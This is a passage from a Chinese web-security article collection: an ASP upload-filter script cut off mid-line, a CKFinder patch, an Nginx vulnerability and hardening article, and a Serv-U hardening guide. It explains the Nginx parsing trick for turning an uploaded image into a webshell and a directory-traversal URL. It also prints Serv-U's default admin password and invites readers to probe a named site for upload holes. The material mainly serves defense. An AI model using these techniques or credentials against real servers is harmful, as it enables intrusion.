'********************************检测文件类型**************************************************** fileExt=ucase(right(file.filename,4)) uploadsuc=false Forum_upload=“RAR|ZIP|SWF|JPG|PNG|GIF|DOC|TXT|CHM|PDF|ACE|MP3|WMA|WMV|MIDI|AVI|RM|RA|RMVB|MOV|XLS” Forumupload=split(Forum_upload,“|”) for i=0 to ubound(Forumupload) if fileEXT=“.”&trim(Forumupload(i)) then uploadsuc=true exit for else uploadsuc=false end if next if uploadsuc=false then response.write “文件格式不正确 [ 重新上传 ]” response.end end if '********************************建立文件上传的目录文件夹**************************************** Set upf=Server.CreateObject(“Scripting.FileSystemObject”) If Err0 Then Err.Clear response.write(“您的服务器不支持FSO”) response.end End If f_type= replace(fileExt,“.”,“”) f_name= year(now)&“-”&month(now) If upf.FolderExists(Server.MapPath(f_folder&“/”&f_type&“/”&f_name))=False Then If upf.FolderExists(Server.MapPath(f_folder&“/”&f_type))=False Then If upf.FolderExists(Server.MapPath(f_folder))=False Then upf.CreateFolder Server.MapPath(f_folder) upf.CreateFolder Server.MapPath(f_folder&“/”&f_type) upf.CreateFolder Server.MapPath(f_folder&“/”&f_type&“/”&f_name) Else upf.CreateFolder Server.MapPath(f_folder&“/”&f_type) upf.CreateFolder Server.MapPath(f_folder&“/”&f_type&“/”&f_name) End If Else upf.CreateFolder Server.MapPath(f_folder&“/”&f_type&“/”&f_name) End If End If f_ftn=f_folder&“/”&f_type&“/”&f_name Set upf=Nothing '********************************保存上传文件至文件夹***************************************** randomize ranNum=int(90000*rnd)+10000 filename=f_ftn&“/”&day(now)&“-”&ranNum&“-”&file.filename if TrueStr(filename)=false then response.write “非法文件” response.end end if if file.filesize>filesizemin and file.filesize

[Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

另外,请各位调试是否具有上传漏洞:

www.164.cc//upf/

篇8:修补CKFinder编辑器文件解析漏洞WEB安全

这种漏洞满天下都是 当然我们用的一个程序也不例外 顺便表示我是php文盲 人都是逼出来的啊~

我们需要做的是将重命名目录 重命名文件 建立目录都注释掉 很简单 看看代码就知道了

所有的函数都是抓包获取的 然后去文件中找 注释掉 下面我给出大家

当然目录不一定就是这个路径 大家可以按照实际情况去寻找文件

0x1 注释掉创建目录

ckfinder\core\connector\php\php4\CommandHandler\CreateFolder.php

ckfinder\core\connector\php\php5\CommandHandler\CreateFolder.php

/*禁止创建新文件夹

$sNewFolderName = isset($_GET[“NewFolderName”]) ? $_GET[“NewFolderName”] : “”;

$sNewFolderName = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($sNewFolderName);

if ($_config->forceAscii) {

$sNewFolderName = CKFinder_Connector_Utils_FileSystem::convertToAscii($sNewFolderName);

}

if (!CKFinder_Connector_Utils_FileSystem::checkFileName($sNewFolderName) || $_resourceTypeConfig-

>checkIsHiddenFolder($sNewFolderName)) {

$this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME);

}

*/

0x2注释掉重命名文件

ckfinder\core\connector\php\php4\CommandHandler\RenameFile.php

ckfinder\core\connector\php\php5\CommandHandler\RenameFile.php

/*禁止重命名文件

}

if (!isset($_GET[“newFileName”])) {

$this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME);

}

*/

0x3注释掉重命名目录

ckfinder\core\connector\php\php4\CommandHandler\RenameFolder.php

ckfinder\core\connector\php\php5\CommandHandler\RenameFolder.php

/*禁止重命名文件夹

if (!isset($_GET[“NewFolderName”])) {

$this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME);

}

$newFolderName = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($_GET[“NewFolderName”]);

$_config =& CKFinder_Connector_Core_Factory::getInstance(“Core_Config”);

if ($_config->forceAscii()) {

$newFolderName = CKFinder_Connector_Utils_FileSystem::convertToAscii($newFolderName);

}

$resourceTypeInfo = $this->_currentFolder->getResourceTypeConfig();

if (!CKFinder_Connector_Utils_FileSystem::checkFileName($newFolderName) || $resourceTypeInfo->checkIsHiddenFolder($newFolderName)) {

$this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_NAME);

}

*/

篇9:Nginx漏洞利用与安全加固方法WEB安全

本文主要分为两大部分,第一部分介绍了Nginx的一些常见安全漏洞的形成原因、利用方法,并给出了相应的解决办法;第二部分介绍了Nginx安全加固时需要关注的主要内容,

Nginx(发音同engine x)是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,由俄罗斯的程序设计师Igor Sysoev所开发,可以稳定地运行在Linux、Windows等操作系统上,其特点是占用内存少,并发能力强。

同其他软件一样,Nginx也出现过一些安全漏洞,利用这些漏洞可以对Web服务器进行渗透攻击。

下面我们通过实例来介绍几个关于Nginx的安全漏洞,以及相应的漏洞利用方法。

Nginx漏洞分析实例

Nginx文件类型错误解析漏洞

在的时候,国内安全组织80Sec发现了一个Nginx文件类型解析漏洞,但实际上这个并非Nginx本身的漏洞,而是由于配置导致的安全问题。下面我们详细分析一下这个漏洞。

漏洞分析:Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。配置文件中会有类似如下内容,如图1所示。

图1

location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME是由Nginx生成的$fastcgi_script_name来决定的。而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。当访问192.168.1.103/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?

这就要说到fix_pathinfo这个选项了,如图2所示。

图2

如果开启了这个选项,那么就会触发在PHP中的如下逻辑,如图3所示。

图3

到这里,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

漏洞危害:利用该漏洞,攻击者可以将任意文件类型作为PHP文件解析,攻击者通常利用该漏洞来获取到一个WebShell。

漏洞利用:假设某一服务器存在该漏洞,攻击者可以通过上传一张包含PHP后门代码的图片来获取WebShell,这是一种常见的攻击方式,如图4所示。

图4

解决方案:这里介绍两种解决方案:一、修改php.ini文件,将cgi.fix_pathinfo的值设置为0;二、在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ \..*\/.*php ) {

return 403;

}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码,如图5所示。

图5

Nginx配置错误而导致目录遍历漏洞

在Nginx的配置文件中如果开启了autoindex选项,并采用类似下面的配置时会造成目录遍历漏洞,如图6所示。

图6

当访问192.168.1.103/test/这个URL时,正常情况应该遍历html/test/这个目录,但是如果访问192.168.1.103/test../这个URL时,则会遍历上一级目录(html/)了。

下面我们通过一个实例来演示下这个漏洞,先来看下正常访问时返回的页面,如图7所示。

图7

现在我们再来看下漏洞被触发后返回的页面,如图8所示。

图8

通过图8所示的返回结果,我们可以看到利用该漏洞我们成功遍历到了其上一级目录,

下面提供两种方法来解决这个问题,从中选择一种即可,具体配置如下图9所示。

图9

现在我们再来验证下当采用上面的代码加固Nginx以后,服务器是否还存在漏洞。

图10

从图10的返回结果可以看到漏洞没有被触发,而是返回了404页面,说明漏洞被修复。

Nginx安全加固

针对Nginx的安全加固,主要从以下两个方面考虑:一、Nginx Web Server程序本身是否安全,如是否存在安全漏洞;二、Nginx Web Server是否提供了可使用的安全功能,这部分主要是检查Nginx的配置是否得当,是否存在由于配置失误导致的安全问题。

Nginx版本的选择与安装注意事项

在选择Nginx版本时,需要关注是否存在安全漏洞和版本的稳定性。一般选择最新的稳定版本,这样可以在稳定性和安全之间取得一个平衡。在升级Nginx版本前建议先在测试环境中测试通过后再正式升级,以避免由于兼容性带来其他不可预知的问题。

关于Nginx的安全漏洞可以关注Nginx官方发布的安全公告(nginx.org/en/security_advisories.html)或到其他一些漏洞发布平台上查找。

在安装Nginx时建议使用自定义安装路径,如果采用默认安装路径,很容易被攻击者和一些自动化攻击工具猜测到,为其进行下一步的攻击提供便利。

Nginx安全配置

1. 修改/隐藏Nginx Banner信息

攻击者在对目标服务器进行渗透攻击前,通常会有一个目标信息收集阶段,这个阶段的任务就是通过各种手段获取到目标服务器的信息,如获取目标服务器的系统版本、Web、数据库的类型及相关信息,这个阶段获取到的信息将直接关系到攻击者下一步采取的攻击手段。因此,修改/隐藏Nginx的相关信息将在一定程度上可以增大攻击者的攻击难度,也可以骗过一些自动化攻击工具。

在Linux平台下以源码方式安装Nginx时,可以通过修改“src/core/nginx.h”中的信息来达到隐藏或自定义Banner信息的目的。

我们先来看下nginx.h这个文件中默认的内容,类似图11所示。

图11

这时当我们访问Nginx服务器时,Server字段会返回真实的Banner信息,如图12所示。

图12

现在我们来自定义nginx.h中关于Banner信息的内容,可参考图13。

图13

修改完成后,重新编译Nginx,然后安装即可。安装完成后,我们再来访问下该Nginx服务器,发现这时Server返回的内容为自定义的Banner信息了,如图14所示。

图14

2. Nginx日志安全

不论在那种服务器上,日志都是一个非常重要的部分,我们需要对它严加保护。在Nginx上也是如此。Nginx的日志默认存放在安装目录的logs目录下,首先要修改日志的默认保存路径,然后设置只允许管理员有日志存放目录的完全控制权限。

3. Nginx权限设置

Nginx权限设置分为Nginx运行权限设置和网站目录权限设置两部分。

Nginx运行权限是指Nginx以什么权限运行,以管理员权限运行是一个非常糟糕的决定。这样的后果是攻击者一旦攻击成功,将直接获取到一个高权限的WebShell。因此,我们需要设置Nginx以一个低权限的身份运行,可通过修改“Nginx.conf”这个配置文件来实现。

网站目录权限设置则要遵循以下原则:

a) 如果目录有写入权限,一定不要分配执行权限

b) 如果目录有执行权限,一定不要分配写入权限

c) 网站上传目录和数据库目录一般需要分配“写入”权限,但一定不要分配执行权限

d) 其他目录一般只分配“读取”权限即可

篇10:ServU防溢出提权攻击解决办法WEB安全

文章简介:本文将为大家介绍在如今Microsoft系列(Win2k Win2k3)SERVER中使用最为广泛的FTP服务器之一、大名鼎鼎的Serv-U FTP服务器中如何简单地解决Overflow溢出、以及Hacker常用的Webhsell提升权限等类攻击的隐患与缺陷;读完本文,您将可以使您的 Serv-U服务器免去被溢出、被提升权限的安全威胁与危险,

前言:

大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的“Serv-U FTPMDTM命令缓冲区溢出”与“Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞”吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点、甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了;虽然溢出不存在了,但 永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之 常用的本地提升权限缺陷。(注:最常见的就如webshell+su提权,我在Baidu输入“Serv-U提权”关键词,搜索结果“百度一下,找到相关网页约34,000篇,用时0.001秒 ”)因此,解决Serv-U的安全问题迫在眉睫。

Serv-U提权虽然严格来说这个不应该算是Serv-U的重大漏洞,但只要因管理员的配置不当将会产生严重的后果;下面LeeBolin就来为大家介绍下如何安全配置 Serv-U,才能保证Serv-U甚至服务器的安全,跟我来.“go,go,go...”(最近CS玩多了,嘻嘻 :P)

Serv-U防溢出提权攻击解决办法解决办法正文:

一、大家知道Liunx系统和Unix系统比Windows安全的一个重要原因在于:Linux和Unix的系统服务不使用root权限,而是使用权限比较低的另外一个单独用户,比如web服务使用了nobody这个用户。而Serv-U默认是以system身份运行的,而System这个系统内置账户对本机有完全操作的权限;因此如果攻击者利用Serv-U程序的漏洞而获得了可执行shell的那,那么他将可以随意控制操作系统里任何一个目录了

二、我们根据一的讲解知道了为什么Serv-U提权与溢出攻击可怕的原因了,那么我们该如何防止这一类攻击的发生呢?答案就是降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录...好,下面就一步一步跟我来吧!

三、Serv-U安全配置

1、首先请保持合用Serv-U的最新版本(目前新版为6.4...)。然后在安装Serv-U的时候尽量不要选择默认的安装目录,比如俺将Serv-U 安装在D:/Pro_LeeBolin^_^/Serv-U#$2008$/...(因为这样复杂的目录名可防止Hacker的猜解)

2、然后将Serv-U取消MDTM命令的执行,修改Serv-U FTP Banner并开启好Serv-U的FTP日志保存到非系统盘,日志选择记录好Serv-U命名用了那些命令与DLL,并为Serv-U设置一个强壮的本地管理密码(因提权多是因为Serv-U的默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P所造成的,呵呵 $_$),你还可以选择将Serv-U的FTP账户信息保存到注册表,不要存在Serv-U目录下的ini文中,这样更加安全。

3、我们再开启“计算机管理”新建一个用户Serv-UAdmin,设置好密码。将用户退出Users组,不加入任何组。并在用户的“终端服务配置文件”选项里取消“允许登录到终端服务器。并且禁止Serv-UAdmin用户的本地登陆。进入控制面板 -> 管理工具 -> 本地安全策略 -> 本地策略 -> 用户权利指派 -> 拒绝本地登陆。(备注:这个用户我们将它来作为俺们Serv-U的服务运行账号,嘿嘿)[(AD^_^:游刃在技术鬼神边缘,打造服务器安全神话!创世纪网络技术前瞻,成就互联网革命先驱!服务器安全讨论区[S.S.D.A]) ]

4、开始运行“Services.msc”打开win的服务管理器,找开Serv-U Ftp Server的Serv-U服务;打开“登陆”对话框,

当前默认的为“本地系统帐户”。我们将其修改为我们在3中新建的Serv-UAdmin用户,并输入密码。

5、下面的工作就是设置Serv-U的运行与FTP目录的ACLs权限了:

①C:/Documents and Settings/Serv-UAdmin 目录加入Serv-UAdmin的权限,允许读取与写入..

②D:/Pro_LeeBolin^_^/Serv-U#$2008$/ Serv-U的安装目录加入Serv-UAdmin的权限,允许读取与运行。(如果选择了账户保存在ini文件的话,这里就需要增加修改与删除权限,因增删FTP账户时需要删改权才成,否则不能增删FTP账户哟^_^)

③如果Serv-U账户选择存在注册表的话。运行regedt32.exe,打开注册表编辑器。找到[HKEY_LOCAL_MACHINE/ SOFTWARE/Cat Soft]分支。在上面点右键,选择权限,然后点高级,取消允许父项的继承权限传播到该对象和所有子对象,删除除admins外的所有的账号。仅添加 Serv-UAdmin账号到该子键的权限列表,并给予完全控制权限。(如果选择了账户信息保存在ini文件中的话可略过此步。)

④现在就来设置WEB目录的ACLs了,比如我的虚拟主机总目录为E:/Leebolin$(%/wwwroot;那么我们将此WEB目录加入 Serv-UAdmin账号的权限即可,这样FTP就可以访问我们的WEB目录进行上传下载了,呵.(由于Serv-U并没有以system运行,所以这里只存留admins与serv-uadmin的权限就OK了。)

⑥如果是asp/php/html脚本的话,WEB目录只需要admins & serv-uadmin & IUSR_XX即可(这里的IUSR_XX是指站点的匿名单用户账号...关于站点的安全与asp.Net的安全请参考我以前的文章:《FSO安全隐患解决办法》、《ASP木马Webshell之安全防范解决办法》、《ASP.NET木马及Webshell安全解决方案》 、《服务器安全检查十大要素》)

四、到目前为止,我们的Serv-U已经简单的做到了防提权,防溢出了。为什么呢?因为能常远程溢出overflow的话,都是通过得一shell 而进行进一步的hacking,而我们现在的Serv-U不是以system运行,所以即使执行了overflow指命,也并不能得到什么...防提权就不用我解释了:因为我们的Serv-Uadmin没有任何系统级的ACLs访问权限..

五、今天的Serv-U防溢出提权攻击解决办法就为大家介绍到这里,您看到此处后,你会了吗?

后记:其实服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Serv-U的安全配置小技巧就为大家介绍到这里...其它方面的服务器安全配置经验我们在下一篇文章再见吧:-) (注:由于本人才疏学浅,如文中有错误实为在所难免,还请各位看官见谅!旨在抛砖引玉,如果您有更好的办法请别忘了在服安论坛跟贴^0^,先行谢过!)

关于本文版权:本文版权归[服务器安全讨论区]与[本文作者]共同所有,您可以任意转载,但务必请保留文章的完整性与信息来源及作者信息等链接;但不欢迎转载者除去本版权信息。

关于本文作者:李泊林/LeeBolin 服安科技资深系统工程师、专业网络安全顾问。已成功为国内多家大中型企业,ISP服务商提供了完整的网络安全解决方案。尤其擅长于整体网络安全方案的设计、大型网络工程的策划、以及提供完整的各种服务器系列安全整体解决方案。[S.S.D.A 服务器安全讨论区] www.31896.net E-mail:bolin.lee#gmail.com QQ:24460394 您对本文有任何建议与疑问可以来信或者QQ在线与作者进行交流;或者到服安论坛与作者进行讨论!

【注意:WMF漏洞临时解决办法WEB安全】相关文章:

1.防溢出提升权限攻击解决办法WEB安全

2.临时工人安全协议书

3.Web安全测试之XSS脚本安全

4.局域网内的安全误区WEB安全

5.Flash安全的一些总结WEB安全

6.小学校园临时施工人员安全管理制度

7.手把手教程:怎样防范WEB SHELLWEB安全

8.施工现场临时用电安全管理探析论文

9.伪装nginx版本防止入侵web服务器WEB安全

10.Joomla网站防黑9条戒律WEB安全

下载word文档
《注意:WMF漏洞临时解决办法WEB安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部